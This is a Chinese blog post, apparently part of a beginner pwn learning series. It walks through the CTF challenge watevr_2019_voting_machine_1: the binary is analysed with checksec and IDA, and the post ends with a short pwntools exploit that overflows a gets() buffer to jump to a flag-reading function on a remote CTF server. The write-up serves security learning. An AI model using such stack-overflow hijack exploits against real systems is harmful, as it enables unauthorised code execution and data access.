PWN手成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持

image

远程连接,看一下交互。发现是一个投票系统,让用户在0-10之间选择一个数字并输入。
image

file 查看文件。64 位 ELF 可执行文件。
image

checksec 查看文件安全属性。开启了 NX 保护,栈上无执行权限。
image

IDA 打开文件。查看 main 函数,发现了 gets 危险函数。
image

双击 v4,发现了栈溢出大小为 0x2+8=0x10。
image

尝试寻找 backdoor 函数,发现了 super_secret_fuction 函数,没有 /bin/bash,但是存在 fopen("/home/ctf/flag.txt","r") 以只读模式打开flag.txt文件。
image

PWN流程:溢出 v4 ,覆盖 super_secret_fuction 函数,让其执行 fopen("/home/ctf/flag.txt","r")再通过不断接受数据以达到劫持的目的,将 flag 的内容放到自定义变量中,最后打印出这个变量。

exp:

from pwn import *  
  
r=remote('node5.buuoj.cn',29744)  
flag_addr=0x400807  
payload=b'a'*10+p64(flag_addr)  #一定要是 10, 而不能是 0x10
r.sendline(payload)  
flag=r.recvall()  
print(flag)

得到 flag。
image

posted @ 2025-10-02 14:11  B0rry  阅读(4)  评论(0)    收藏  举报